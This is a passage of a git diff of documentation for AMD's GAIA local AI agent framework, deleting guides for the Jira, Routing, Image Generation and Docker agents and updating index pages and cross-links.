``` - - ```bash --browser - gaia-emr dashboard --browser - ``` - - ```bash --port - gaia-emr dashboard --port 3000 - ``` - - ```bash --no-open - gaia-emr dashboard --no-open - ``` - - - | Option | Default | Description | - |--------|---------|-------------| - | `--watch-dir` | `./intake_forms` | Directory to monitor for intake forms | - | `--db` | `./data/patients.db` | SQLite database path | - | `--port` | `8080` | Server port | - | `--browser` | off | Open in browser instead of Electron | - | `--no-open` | off | Don't auto-open, server only | - - - If Electron/Node.js is not available, the dashboard automatically falls back to opening in your default web browser. - - - - - ---- - -## Supported Intake Form Formats - -The agent accepts scanned or photographed intake forms in these formats: - -| Extension | Processing | -|-----------|------------| -| `.png`, `.jpg`, `.jpeg` | Direct image processing | -| `.pdf` | Converted to image via PyMuPDF | -| `.tiff`, `.bmp` | Direct image processing | - ---- - -## Under the Hood - -- **Image preprocessing** — Before reaching the VLM, forms are auto-rotated from EXIF orientation (critical for phone photos), scaled to a max 1024px dimension, and JPEG-compressed (quality 85) to balance extraction quality against image token count. -- **Returning-patient detection** — A multi-signal lookup combines exact name + DOB match, fuzzy matching for misspellings ("Jon Smith" → "John Smith"), and `user.embeddinggemma-300m-GGUF` vector similarity. When a returning patient is detected, changes from their previous record (new allergies, updated insurance) are highlighted. -- **Real-time dashboard** — The FastAPI backend streams processing events to the React frontend over Server-Sent Events (SSE), so the UI updates within ~100ms of file detection without polling or WebSockets. -- **Safe DB queries** — Natural language questions are answered via LLM tool calling: the model never writes SQL directly, it calls predefined, validated tools (e.g. `search_patients`) that construct queries safely. - ---- - -## Troubleshooting - -### Context Size Too Small - -``` -Context size too small! Image requires 4203 tokens but model context is only 4096. -``` - -Large form images can require 4,000–8,000+ tokens. Set Lemonade context size to **32768**: right-click the Lemonade tray icon → Settings → Context Size → 32768, then restart the model. - -### Model Download Failed / Init Fails - -``` -Download succeeded but failed to rename file: The process cannot access the file -``` - -Run `gaia-emr init` again to resume. If it keeps failing, close any apps using the model files, delete the partial/corrupted model folder from Lemonade's cache (Windows: `%LOCALAPPDATA%\AMD\LemonadeModels\`, Linux: `~/.local/share/lemonade/models/`), restart Lemonade Server, then re-run `gaia-emr init`. - -### PyMuPDF Required - -``` -ERROR: PyMuPDF required for PDF processing -``` - -Install the RAG extra: `pip install "amd-gaia[rag]"`. - -### JSON Parse Failed - -``` -WARNING: Failed to parse extraction for: form.jpg -``` - -The VLM output wasn't valid JSON — usually a low-quality or unclear form image. Check image clarity, or re-run `gaia-emr test ` to inspect the raw extraction. - -### Database Locked - -``` -ERROR: database is locked -``` - -Only one agent process should access a given database file at a time. Stop other `gaia-emr` processes pointed at the same `--db` path. - ---- - -## Learn More - - - - Build this agent from scratch and understand the core components - - - - Deep dive into the web dashboard and REST API endpoints - - - - Database schema, processing pipeline, and system design - - - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - diff --git a/docs/guides/gaia.mdx b/docs/guides/gaia.mdx index 1198ce6a7..87394d8de 100644 --- a/docs/guides/gaia.mdx +++ b/docs/guides/gaia.mdx @@ -99,7 +99,7 @@ The default construction registers **55 tools**. Grouped by what they're for: `run_shell_command` is restricted to a read-only command allowlist (`ls`, `cat`, `grep`, `find`, `stat`, `df`, `uname`, and similar) and rate-limited. Anything that writes, installs, or executes an arbitrary binary is refused. -**Image *generation* is deliberately off.** Drawing a picture would pull a second model into Lemonade and evict the resident chat model mid-conversation — not a trade a document agent should make silently. Use the [Image Generation agent](/guides/sd) when you want that. +**Image *generation* is deliberately off.** Drawing a picture would pull a second model into Lemonade and evict the resident chat model mid-conversation — not a trade a document agent should make silently. A custom agent can still compose the [`sd` tool mixin](/sdk/mixins/tool-mixins#95-stable-diffusion-mixin) when that trade-off is acceptable. ### Tools that need your approval diff --git a/docs/guides/hub-publishing.mdx b/docs/guides/hub-publishing.mdx index 271c09372..f2e0056a6 100644 --- a/docs/guides/hub-publishing.mdx +++ b/docs/guides/hub-publishing.mdx @@ -114,7 +114,7 @@ one new idea: - [`hello-world/`](https://github.com/amd/gaia/tree/main/hub/agents/hello-world/python) — the smallest agent possible (a system prompt, no tools). - [`word-count/`](https://github.com/amd/gaia/tree/main/hub/agents/word-count/python) — adds one tool with the `@tool` decorator. -- [`doc-search/`](https://github.com/amd/gaia/tree/main/hub/agents/doc-search/python) — reuses a built-in toolset (`RAGToolsMixin`) for document Q&A. +- [`connectors-demo/`](https://github.com/amd/gaia/tree/main/hub/agents/connectors-demo/python) — pulls real data through the connectors framework (Gmail, Calendar, Drive, GitHub). Each is a complete, publishable package (manifest + code + README + tests that fake the model, so they run without a model server). See the diff --git a/docs/guides/index.mdx b/docs/guides/index.mdx index 6e7137acf..6b0e9aff4 100644 --- a/docs/guides/index.mdx +++ b/docs/guides/index.mdx @@ -67,22 +67,6 @@ User guides show you how to **use** GAIA's pre-built agents and SDKs. Each guide > Natural voice conversations using Whisper (ASR) and Kokoro (TTS). - - - Search the web, fetch pages, and download files with a focused agent. - - - - Load structured rows into scratchpad tables and query them with SQL. - --- @@ -90,14 +74,6 @@ User guides show you how to **use** GAIA's pre-built agents and SDKs. Each guide ## Developer Tools - - AI-powered full-stack Next.js generation with TypeScript, Prisma, and Tailwind. - - Semantic search over your codebase using local AMD-accelerated embeddings. - - - Natural language interface for containerizing applications. - --- @@ -135,52 +103,6 @@ User guides show you how to **use** GAIA's pre-built agents and SDKs. Each guide > Talk to GAIA from Telegram on any device, with per-user sessions. - - - Natural language interface for searching and managing Jira issues. - - - ---- - -## Specialized Agents - - - - Multi-modal image generation with LLM prompt enhancement and VLM story creation. - - - - Natural language 3D scene creation and manipulation in Blender. - - - - Automate patient intake form processing with VLM extraction and local database storage. - - - - Intelligent request analysis and agent selection through conversational disambiguation. - --- @@ -234,21 +156,12 @@ User guides show you how to **use** GAIA's pre-built agents and SDKs. Each guide | If you want to... | Start here | |-------------------|------------| | Check what models your hardware can run | [Hardware Advisor](/guides/hardware-advisor) | -| Do a bit of everything in one agent | [GAIA](/guides/gaia) | +| Do a bit of everything in one agent — including web research, data analysis, and coding via skills | [GAIA](/guides/gaia) | | Build a chatbot or document Q&A | [Document Q&A](/guides/chat) | | Add voice to your agent | [Voice Interaction](/guides/talk) | -| Research the web from the CLI | [Browser Agent](/guides/browse) | -| Run SQL over structured rows | [Analyst Agent](/guides/analyze) | -| Generate Next.js applications | [Code Agent](/guides/code) | | Search your codebase semantically | [Code Index](/guides/code-index) | -| Containerize applications | [Docker Agent](/guides/docker) | | Triage your Gmail inbox locally | [Email Triage](/guides/email) | | Chat with GAIA from your phone | [Telegram Adapter](/guides/telegram-adapter) | -| Work with Jira tickets | [Jira Agent](/guides/jira) | -| Generate images from text | [Image Generation](/guides/sd) | -| Create 3D scenes with AI | [Blender Agent](/guides/blender) | -| Process medical intake forms | [Medical Intake](/guides/emr) | -| Route requests to specialized agents | [Routing Agent](/guides/routing) | | Build and publish your own agent | [Custom Agents](/guides/custom-agent) | | Connect agents to external MCP tools | [MCP Client](/guides/mcp/client) | | Monitor Windows system health | [Windows System Health](/guides/mcp/windows-system-health) | diff --git a/docs/guides/jira.mdx b/docs/guides/jira.mdx deleted file mode 100644 index 2906e8cda..000000000 --- a/docs/guides/jira.mdx +++ /dev/null @@ -1,388 +0,0 @@ ---- -title: "Jira Agent" -description: "Search, create, and update Jira issues with plain-English commands via the Atlassian REST API." -icon: "ticket" ---- - - - **Source Code:** [`hub/agents/jira/python/gaia_agent_jira/agent.py`](https://github.com/amd/gaia/blob/main/hub/agents/jira/python/gaia_agent_jira/agent.py) · [`src/gaia/apps/jira/app.py`](https://github.com/amd/gaia/blob/main/src/gaia/apps/jira/app.py) - - -## Overview - -The GAIA Jira Agent provides a natural language interface to Atlassian Jira. It talks directly to the Atlassian REST API — no intermediary services or MCP bridge required. On first use it auto-discovers your instance configuration (projects, issue types, statuses, priorities) so it adapts to *your* Jira setup, then lets you search, create, and update issues with plain English. - -> **First time here?** Complete the [Setup](/setup) guide first to install GAIA and its dependencies. -> -> **Desktop WebUI**: GAIA also ships a JIRA WebUI Electron app. See [WebUI Configuration](#webui-configuration) below. - -## Quick Start - -### Prerequisites - -1. **GAIA Installation** — Follow the [Setup](/setup) guide. The base install includes everything the Jira agent needs. - -2. **Download the model** — The agent uses `Gemma-4-E4B-it-GGUF` for reliable JSON parsing and JQL generation. Download it via the Lemonade model manager: - 1. Start the server: `lemonade-server serve` - 2. Open the model manager (typically http://localhost:13305) - 3. Search for and download `Gemma-4-E4B-it-GGUF` - - The model is around 3 GB, so the download is quick on most connections. It is selected automatically when you run Jira commands. - -3. **Set Jira credentials**: - - ```bash - export ATLASSIAN_SITE_URL=https://your-domain.atlassian.net - export ATLASSIAN_API_KEY=your-api-token - export ATLASSIAN_USER_EMAIL=your-email@example.com - ``` - - Or create a `.env` file in the project root (see `.env.example` for a template). See [Getting Your Jira API Token](#getting-your-jira-api-token) for token setup. - -### Verify Installation - -```bash -gaia --version -gaia jira "show all projects" # auto-discovers your instance -``` - -### Basic Usage - - -```bash Interactive -gaia jira --interactive -``` - -```bash Direct Query -gaia jira "show my open issues" -``` - -```bash Search -gaia jira "find critical bugs from last week" -``` - -```bash Create -gaia jira "create a task: Update documentation" -``` - -```bash Update -gaia jira "set MDP-6 priority to high" -``` - - - -The agent was developed and tested against a dummy Jira project. Real instances vary in custom fields, workflows, and permissions, so you may hit errors or unexpected results. Auto-discovery adapts to most setups, but highly customized environments may need manual adjustment. - - -## Architecture - -The CLI (`gaia jira`) wraps **JiraApp** (`src/gaia/apps/jira/app.py`), which drives the **JiraAgent** (`hub/agents/jira/python/gaia_agent_jira/agent.py`): - -- **JiraAgent** — processes natural language, auto-discovers your instance configuration, translates queries to JQL, and registers three tools: `jira_search`, `jira_create`, `jira_update`. -- **JiraApp** — high-level wrapper that handles interactive mode and formats output for display. -- **`gaia jira` CLI** — manages the agent lifecycle; supports direct queries and interactive mode. - -```mermaid -%%{init: {'theme':'base', 'themeVariables': { 'primaryColor':'#E2A33E', 'primaryTextColor':'#1a1a1a', 'primaryBorderColor':'#A87B2D', 'lineColor':'#A87B2D', 'edgeLabelBackground':'#ffffff', 'fontFamily':'system-ui, -apple-system, sans-serif'}}}%% -graph LR - User(["User Query"]) --> Agent(["JiraAgent"]) - Agent --> Discover(["Auto-Discovery"]) - Discover --> Config(["Jira Config"]) - Config --> LLM(["LLM Processing"]) - LLM --> Tools(["Tool Execution"]) - Tools --> API(["Jira REST API"]) - API --> Result(["Formatted Result"]) - - style User fill:#f8f9fa,stroke:#dee2e6,stroke-width:2px,color:#495057 - style Agent fill:#E2A33E,stroke:#A87B2D,stroke-width:2px,color:#1a1a1a - style Discover fill:#EFC480,stroke:#E2A33E,stroke-width:2px,color:#1a1a1a - style Config fill:#A87B2D,stroke:#A87B2D,stroke-width:2px,color:#fff - style LLM fill:#2d2d2d,stroke:#1a1a1a,stroke-width:2px,color:#fff - style Tools fill:#EFC480,stroke:#E2A33E,stroke-width:2px,color:#1a1a1a - style API fill:#A87B2D,stroke:#A87B2D,stroke-width:2px,color:#fff - style Result fill:#28a745,stroke:#1e7e34,stroke-width:2px,color:#fff - - linkStyle 0,1,2,3,4,5,6 stroke:#E2A33E,stroke-width:2px -``` - -1. **Automatic discovery** — on first use it queries your Jira instance for projects, issue types, statuses, and priorities. -2. **Dynamic prompting** — that discovered config teaches the LLM about your specific setup. -3. **Query translation** — the LLM converts natural language into structured tool calls (and JQL). -4. **Tool execution** — calls the Jira REST API. -5. **Result formatting** — returns a user-friendly response. - -## Usage Examples - -The agent understands a wide range of phrasings — the examples below are representative, not exhaustive. - -### Search - -```bash -# Assigned to you -gaia jira "show my issues" -gaia jira "what am I working on" - -# By priority and type -gaia jira "find high priority ideas" -gaia jira "show medium priority ideas from this week" - -# By project -gaia jira "issues in project MDP" -gaia jira "what's happening in MDP" - -# Time-based -gaia jira "issues created today" -gaia jira "bugs fixed last week" -gaia jira "what changed yesterday" - -# Sprint queries -gaia jira "current sprint ideas" -gaia jira "unfinished ideas in active sprint" -``` - -### Create - -```bash -gaia jira "create idea: Explore VR travel features" -gaia jira "create an idea: Implement AI chatbot, high priority" -gaia jira "new idea: Add user analytics dashboard" -gaia jira "create idea in MDP: Refactor user profile data" # specify project -``` - -### Update - -```bash -# Change priority -gaia jira "update MDP-5 set priority to High" - -# Change status -gaia jira "move MDP-6 to Discovery" -gaia jira "move MDP-5 to Parking lot" - -# Update multiple fields -gaia jira "update JKL-012 priority High and assign to me" -``` - -### Interactive Mode - -```bash -gaia jira --interactive -``` - -``` -🚀 GAIA Jira App - Interactive Mode -Type 'help' for commands, 'exit' to quit - -jira> show my open issues -[Agent processes your request...] -🎫 Found 2 issues -• MDP-6 - Explore VR travel features - Status: Parking lot | Priority: Medium | Assignee: You -• MDP-5 - Refactor user profile data - Status: Parking lot | Priority: Medium | Assignee: You -``` - -## Integration Methods - -### 1. Python API - -Use the JiraAgent directly in your Python applications: - -```python -from gaia_agent_jira.agent import JiraAgent - -# Initialize and discover Jira configuration (do this once) -agent = JiraAgent(silent_mode=True) # silent_mode suppresses console output -config = agent.initialize() -print(f"Connected to Jira with {len(config['projects'])} projects") - -# Execute natural language queries -result = agent.process_query("show my high priority ideas in MDP") -if result["status"] == "success": - print(f"Result: {result['result']}") - print(f"Steps taken: {result['steps_taken']}") - -# Create and update issues -agent.process_query("create an idea: Implement AI chatbot with medium priority") -agent.process_query("update MDP-5 set priority to High") -``` - -`process_query` returns a dict with `status` (`"success"`, `"failed"`, or `"incomplete"`), `result`, `steps_taken`, `conversation`, and `error_history`. - -### 2. MCP Server (HTTP/JSON-RPC) - -For non-Python applications, expose the agent over HTTP via the MCP bridge: - -```bash -gaia mcp start --port 8765 -``` - -Then call it from any language with a JSON-RPC `tools/call`. The response payload is JSON in `result.content[0].text`. - - -```bash cURL -curl -X POST http://localhost:8765/ \ - -H "Content-Type: application/json" \ - -d '{ - "jsonrpc": "2.0", - "id": "1", - "method": "tools/call", - "params": { - "name": "gaia.jira", - "arguments": { "query": "show my ideas in Parking lot status" } - } - }' -``` - -```javascript JavaScript -async function queryJira(query) { - const response = await fetch("http://localhost:8765/", { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ - jsonrpc: "2.0", - id: "1", - method: "tools/call", - params: { name: "gaia.jira", arguments: { query } }, - }), - }); - const result = await response.json(); - if (result.result) { - return JSON.parse(result.result.content[0].text); - } - throw new Error(result.error || "Unknown error"); -} - -const issues = await queryJira("show my open ideas"); -``` - - -For workflow integrations, see the [MCP Documentation](/integrations/mcp) and [n8n Integration Guide](/integrations/n8n). - -## Key Features - -- **Automatic configuration discovery** — learns your projects, issue types, statuses, priorities, and custom fields on first use, with no config files. -- **Intelligent query translation** — maps intent to your instance: `"my issues"` → `assignee = currentUser()`, `"critical"` → your priority values, `"this week"` → correct date ranges, `"in progress"` → your real status names. -- **Robust error handling** — validates credentials before calling the API, retries failed operations, suggests corrections for invalid issue types or field names, and preserves conversation context across errors. - -## Configuration - -### Getting Your Jira API Token - -1. Log into your Atlassian account. -2. Go to [Account Settings > Security > API tokens](https://id.atlassian.com/manage-profile/security/api-tokens). -3. Click **Create API token**, name it (e.g. "GAIA Integration"), and copy it somewhere safe. - -### Setting Environment Variables - - - -```bash -export ATLASSIAN_SITE_URL=https://your-domain.atlassian.net -export ATLASSIAN_API_KEY=your-api-token -export ATLASSIAN_USER_EMAIL=your-email@example.com -``` - - -```cmd -set ATLASSIAN_SITE_URL=https://your-domain.atlassian.net -set ATLASSIAN_API_KEY=your-api-token -set ATLASSIAN_USER_EMAIL=your-email@example.com -``` - - -```bash -ATLASSIAN_SITE_URL=https://your-domain.atlassian.net -ATLASSIAN_API_KEY=your-api-token -ATLASSIAN_USER_EMAIL=your-email@example.com -``` - - - -### Custom Model Selection - -Override the default model when constructing the agent: - -```python -agent = JiraAgent(model_id="gpt-4", debug=True, show_prompts=True) -``` - -## Troubleshooting - -#### "Missing Jira credentials" - -Confirm the environment variables are set, then verify the token works directly: - -```bash -echo $ATLASSIAN_SITE_URL $ATLASSIAN_API_KEY $ATLASSIAN_USER_EMAIL - -curl -u your-email@example.com:your-api-token \ - https://your-domain.atlassian.net/rest/api/2/myself -``` - -#### "No issues found" when you know they exist - -Run with `--debug` to see the generated JQL, and confirm you can view the project: - -```bash -gaia jira --debug "your query" -gaia jira "show all projects" -``` - -#### "Invalid issue type" errors - -Discover the issue types your instance actually uses: - -```python -agent = JiraAgent() -config = agent.initialize() -print("Available issue types:", config["issue_types"]) -``` - -Note: the dummy project uses "Idea" and "Epic" as issue types, not "Bug"/"Task"/"Story". - -#### MCP bridge connection issues - -```bash -gaia mcp status # is it running? -gaia mcp stop && gaia mcp start # restart -``` - -## Best Practices - -- **Be specific** — `"show my high priority ideas in project MDP"` beats `"show issues"`. -- **Let discovery run first** — call `agent.initialize()` (or any query) once so the agent knows your projects, statuses, and issue types before you create or update. -- **Use interactive mode** (`gaia jira --interactive`) for iterative exploration. - -To exercise the integration end-to-end, run the smoke test: `python scripts/jira_smoke.py` (add `--interactive`, `--debug`, or `--show-prompts` as needed). - -## Limitations - -- **API rate limits** — Atlassian enforces rate limits on API calls. -- **Field permissions** — can only access or modify fields you have permission for. -- **Bulk operations** — items are processed sequentially, not in parallel. -- **Attachments** — file attachments are not supported. -- **Workflow transitions** — limited support for complex transitions. - -## WebUI Configuration - -The JIRA WebUI provides an in-app configuration screen for your JIRA server URL, username/email, and API token. Configuration is stored locally and persists between sessions. - -## See Also - -- [GAIA CLI Documentation](/reference/cli) - Full command line interface guide -- [MCP Server Documentation](/integrations/mcp) - External integration details -- [Agent Development Guide](/reference/dev) - Build your own agents -- [Features Overview](/reference/features) - Complete GAIA capabilities - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - diff --git a/docs/guides/mcp/client.mdx b/docs/guides/mcp/client.mdx index 300558557..77c15c859 100644 --- a/docs/guides/mcp/client.mdx +++ b/docs/guides/mcp/client.mdx @@ -613,7 +613,7 @@ For detailed API usage and patterns, see the [SDK Reference](/sdk/sdks/mcp). Browse official MCP servers from Anthropic - + Learn how to create agents that leverage MCP tools diff --git a/docs/guides/routing.mdx b/docs/guides/routing.mdx deleted file mode 100644 index 1ede38b8c..000000000 --- a/docs/guides/routing.mdx +++ /dev/null @@ -1,264 +0,0 @@ ---- -title: "Routing Agent" -description: "Analyze each request and route it to the right specialized GAIA agent." -icon: "route" ---- - - - **Source Code:** [`hub/agents/routing/python/gaia_agent_routing/agent.py`](https://github.com/amd/gaia/blob/main/hub/agents/routing/python/gaia_agent_routing/agent.py) · [`hub/agents/routing/python/gaia_agent_routing/system_prompt.py`](https://github.com/amd/gaia/blob/main/hub/agents/routing/python/gaia_agent_routing/system_prompt.py) - - -## Overview - -The GAIA Routing Agent provides intelligent request analysis and agent selection through conversational disambiguation. When you make a request like "Create a todo backend app," the routing agent analyzes your query, detects the target programming language and project type, and routes you to the appropriate specialized agent with the correct configuration. - -**Key Features:** -- **Intelligent Language Detection**: Automatically identifies TypeScript, Python, and other languages from framework mentions -- **Conversational Disambiguation**: Asks clarifying questions when the request is ambiguous -- **Context-Aware Analysis**: Maintains conversation history across disambiguation rounds -- **High-Confidence Routing**: Only proceeds when confident about the detected configuration - -## Why We Built the Routing Agent - -Before the routing agent, GAIA agents would attempt to detect language and project type internally, often leading to: - -1. **Incorrect Language Selection**: Generic requests like "Create a REST API" would default to Python, even when the user wanted TypeScript/Express -2. **Guessing Behavior**: Agents would make assumptions based on "commonly used" frameworks rather than asking for clarification -3. **Poor User Experience**: Users had to be very specific with framework names to get the right agent configuration - -The routing agent solves these problems by: -- Separating routing concerns from agent logic -- Using LLM-powered analysis to detect language/framework from natural language -- Asking users for clarification when uncertain, rather than guessing -- Providing a consistent routing experience across all agents (currently used for `gaia-code`, with plans to expand) - -## How It Works - -```mermaid -%%{init: {'theme':'base', 'themeVariables': { 'primaryColor':'#E2A33E', 'primaryTextColor':'#1a1a1a', 'primaryBorderColor':'#A87B2D', 'lineColor':'#A87B2D', 'edgeLabelBackground':'#ffffff', 'fontFamily':'system-ui, -apple-system, sans-serif'}}}%% -flowchart LR - A[/"REQUEST"/] --> B(["ANALYZE"]) - B --> C{"CONFIDENT?"} - C -->|Yes| D(["ROUTE"]) - C -->|No| E[/"CLARIFY"/] - E --> B - - style A fill:#f8f9fa,stroke:#dee2e6,stroke-width:2px,color:#495057 - style B fill:#E2A33E,stroke:#A87B2D,stroke-width:2px,color:#1a1a1a - style C fill:#2d2d2d,stroke:#1a1a1a,stroke-width:2px,color:#fff - style D fill:#28a745,stroke:#1e7e34,stroke-width:2px,color:#fff - style E fill:#EFC480,stroke:#E2A33E,stroke-width:2px,color:#1a1a1a - - linkStyle 0,1,2 stroke:#E2A33E,stroke-width:2px - linkStyle 3,4 stroke:#EFC480,stroke-width:2px,stroke-dasharray:5 -``` - -| Step | Description | Example | -|------|-------------|---------| -| **REQUEST** | User submits a natural language request | `"Create a todo backend app"` | -| **ANALYZE** | LLM detects language (TypeScript, Python) and project type (frontend, backend, fullstack) | Detects: backend project, needs framework clarification | -| **CONFIDENT?** | Checks if confidence ≥ 0.9 to proceed | Confidence: 0.6 → too low, needs clarification | -| **CLARIFY** | Asks user for missing information, then re-analyzes with enriched context | `"What framework? (Express, Django, FastAPI)"` | -| **ROUTE** | Creates specialized agent with the detected configuration | `CodeAgent(language=TypeScript, project_type=backend)` | - - -The **CLARIFY → ANALYZE** loop can repeat multiple times until the agent reaches high confidence. Each user response is incorporated into the conversation history before re-analysis. - - -## Quick Start - -The routing agent is automatically used when you run certain GAIA commands: - -```bash -# Routing happens automatically -gaia-code "Create a REST API with Express and SQLite" -# → Detected: TypeScript backend → Creates TypeScript CodeAgent - -# If ambiguous, you'll be prompted -gaia-code "Create a todo backend app" -# → What language/framework would you like to use for your backend project? -# → (e.g., 'Express', 'Django', 'React', 'FastAPI') -# User: Express -# → Detected: TypeScript backend → Creates TypeScript CodeAgent -``` - -## Language Detection Rules - -The routing agent uses the following rules for language detection: - -**TypeScript Indicators:** -- Express, NestJS, Koa, Fastify -- MongoDB, Mongoose (with Express/Node.js context) - routes to Express + SQLite template -- React, Vue, Angular, Svelte, Next.js -- Node.js, Vite, Webpack - -**Note:** MongoDB/Mongoose mentions route to the Express + SQLite template. GAIA uses SQLite by default for zero-installation development experience. - -**Python Indicators:** -- Django, Flask, FastAPI -- Pandas, NumPy, SciPy - -**Unknown (triggers disambiguation):** -- Generic terms without framework: "API", "backend", "REST", "todo", "CRUD" -- Confidence level below 0.9 (LLM is uncertain) - -## Project Type Detection - -**Frontend:** -- React, Vue, Angular components -- Dashboard, UI, webpage, website - -**Backend:** -- Express, API, REST endpoints -- Backend, server, database operations - -**Fullstack:** -- Both frontend and backend mentioned - -**Script:** -- CLI tool, calculator, utility script - -## Example Interactions - -### High-Confidence Detection (No Questions) - -```bash -$ gaia-code "Create an Express API with SQLite" -[2025-11-18 10:08:03] | INFO | Analysis result: { - 'language': 'typescript', - 'project_type': 'backend', - 'confidence': 0.95 -} -[2025-11-18 10:08:03] | INFO | Creating CodeAgent with language=typescript, project_type=backend -``` - -### Conversational Disambiguation - -```bash -$ gaia-code "Build me a todo backend app" - -What language/framework would you like to use for your backend project? -(e.g., 'Express', 'Django', 'React', 'FastAPI') -> Express - -[2025-11-18 10:20:09] | INFO | Analysis result: { - 'language': 'typescript', - 'project_type': 'backend', - 'confidence': 0.95, - 'reasoning': "User specified 'Express' which is a Node.js/TypeScript framework" -} -[2025-11-18 10:20:09] | INFO | Creating CodeAgent with language=typescript, project_type=backend -``` - -### Multiple Disambiguation Rounds - -```bash -$ gaia-code "Create an app" - -What kind of application would you like to build? -(e.g., 'React web app', 'Python CLI tool', 'Express API', 'Django backend') -> REST API - -What language/framework would you like to use for your backend project? -(e.g., 'Express', 'Django', 'React', 'FastAPI') -> Django - -[INFO] Creating CodeAgent with language=python, project_type=backend -``` - -## Configuration - -The routing agent can be configured via environment variables: - -```bash -# Model used for routing analysis (default: Gemma-4-E4B-it-GGUF) -export AGENT_ROUTING_MODEL=Gemma-4-E4B-it-GGUF - -# Lemonade server URL (default: http://localhost:13305/api/v1) -export LEMONADE_BASE_URL=http://localhost:13305/api/v1 -``` - -Add these to your `.env` file for persistent configuration. - -## Current Usage - -The routing agent is currently integrated with: - -- **`gaia-code`**: Intelligently routes to Python or TypeScript CodeAgent based on framework detection - -**Future Integration Plans:** -- `gaia docker`: Route to appropriate containerization strategy -- `gaia jira`: Route to different Jira workflows based on request type -- Other agents as needed - -## Troubleshooting - -### Routing to Wrong Language - -**Issue**: The routing agent detects the wrong language/framework. - -**Solution**: -- Be more specific in your request: "Create an **Express** API" instead of "Create an API" -- When prompted, provide clear framework names: "Express", "Django", "React" -- Check that you're using recognized framework names (see [Language Detection Rules](#language-detection-rules)) - -### Too Many Questions - -**Issue**: The routing agent asks too many clarifying questions. - -**Solution**: -- Include framework/language in your initial request -- Use specific terms like "Express backend" or "React dashboard" -- Example: "Create a **Django** REST API" (no questions needed) - -### Routing Agent Not Working - -**Issue**: Routing agent errors or skips detection. - -**Solution**: -```bash -# Verify Lemonade server is running with the coding model -lemonade-server serve --ctx-size 32768 - -# Check environment variables -echo $AGENT_ROUTING_MODEL -echo $LEMONADE_BASE_URL - -# Test with a clear request -gaia-code "Create an Express API with SQLite" -``` - -### Low Confidence / Always Asks Questions - -**Issue**: Even with specific frameworks, routing agent asks for clarification. - -**Solution**: -- Check the routing model is loaded: `AGENT_ROUTING_MODEL=Gemma-4-E4B-it-GGUF` -- Verify Lemonade server has sufficient context size: `--ctx-size 32768` -- Ensure the coding model is available in Lemonade's model list - -## Technical Details - -For implementation details, see: -- Source code: `hub/agents/routing/python/gaia_agent_routing/agent.py` -- System prompt: `hub/agents/routing/python/gaia_agent_routing/system_prompt.py` -- CLI integration: `hub/agents/code/python/gaia_agent_code/cli.py` (search for "RoutingAgent") - -## See Also - -- [Code Agent Documentation](/guides/code) - Autonomous Python/TypeScript development -- [CLI Guide](/reference/cli) - Command line interface reference -- [API Server Documentation](/reference/api) - OpenAI-compatible API with routing -- [Development Guide](/reference/dev) - Setup and contribution guidelines - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - diff --git a/docs/guides/sd.mdx b/docs/guides/sd.mdx deleted file mode 100644 index db55c81b4..000000000 --- a/docs/guides/sd.mdx +++ /dev/null @@ -1,616 +0,0 @@ ---- -title: "Image Generation Agent" -description: "Multi-modal image generation with LLM prompt enhancement and VLM story creation" -icon: "image" ---- - - - **CLI Command:** `gaia sd` - Demonstrates multi-modal agents with SDToolsMixin + VLMToolsMixin - - **SDK Reference:** [SDToolsMixin API](/sdk/mixins/tool-mixins#9-5-stable-diffusion-mixin) • [VLMToolsMixin API](/sdk/mixins/tool-mixins#9-6-vision-language-model-mixin) - - -# What It Is - -The `gaia sd` command demonstrates GAIA's multi-modal agent architecture through a practical example: generating images with AI-enhanced prompts and automatic story creation. - -**Local models working together on Ryzen AI:** -- 🧠 **LLM** (Gemma-4-E4B) - Analyzes your input, plans workflow, adds quality keywords -- 🖼️ **Stable Diffusion** (SDXL-Turbo) - Generates images from enhanced prompts -- 👁️ **VLM** (Gemma-4-E4B) - The same multimodal model analyzes images and writes stories - -Type "robot kitten" → Get image + 2-3 paragraph story about the character - ---- - -## See It In Action - - - + Available - Path security validation + Path security validation (`src/gaia/security.py`) diff --git a/docs/spec/database-mixin.mdx b/docs/spec/database-mixin.mdx index 081e111c7..6a3500c60 100644 --- a/docs/spec/database-mixin.mdx +++ b/docs/spec/database-mixin.mdx @@ -260,7 +260,7 @@ class TodoAgent(Agent, DatabaseMixin): ## Related -- [EMR Agent](/playbooks/emr-agent/part-1-getting-started) uses this mixin as - its persistence layer. +- The [email agent](https://github.com/amd/gaia/blob/main/hub/agents/email/python/gaia_agent_email/agent.py) + uses this mixin as its persistence layer. - [FileWatcher](/sdk/utils/file-watcher) is commonly paired with `DatabaseMixin` to record ingestion events. diff --git a/docs/spec/docker-agent.mdx b/docs/spec/docker-agent.mdx deleted file mode 100644 index 72d46d0a4..000000000 --- a/docs/spec/docker-agent.mdx +++ /dev/null @@ -1,501 +0,0 @@ ---- -title: "DockerAgent" ---- - - - **Source Code:** [`hub/agents/docker/python/gaia_agent_docker/agent.py`](https://github.com/amd/gaia/blob/main/hub/agents/docker/python/gaia_agent_docker/agent.py) - - - -**Component:** DockerAgent - Intelligent Docker Containerization -**Module:** `gaia_agent_docker.agent` -**Inherits:** MCPAgent -**Model:** Gemma-4-E4B-it-GGUF (default) - - ---- - -## Overview - -DockerAgent helps developers containerize applications through natural language. It analyzes application structure, generates optimized Dockerfiles using LLM intelligence, and manages Docker image builds and container runs. - -**Key Features:** -- Automatic application analysis (Python/Flask, Node/Express, etc.) -- LLM-generated Dockerfiles following best practices -- Docker build/run orchestration -- MCP server integration for external tool access -- Security: path validation - ---- - -## Requirements - -### Functional Requirements - -1. **Application Analysis** - - Detect app type (Flask, Django, FastAPI, Express, React) - - Find entry points (app.py, server.js, etc.) - - Parse dependencies (requirements.txt, package.json) - - Suggest appropriate ports - -2. **Dockerfile Generation** - - Use LLM to generate content based on analysis - - Follow best practices (layer caching, non-root users) - - Include copyright headers - - Support custom base images - -3. **Docker Operations** - - Build images with tagging - - Run containers with port mapping - - Capture build/run output - - Report success/failure - -4. **MCP Integration** - - Expose `dockerize` tool via MCP - - Accept absolute paths only - - Validate inputs - - Return structured results - ---- - -## API Specification - -### DockerAgent Class - -```python -class 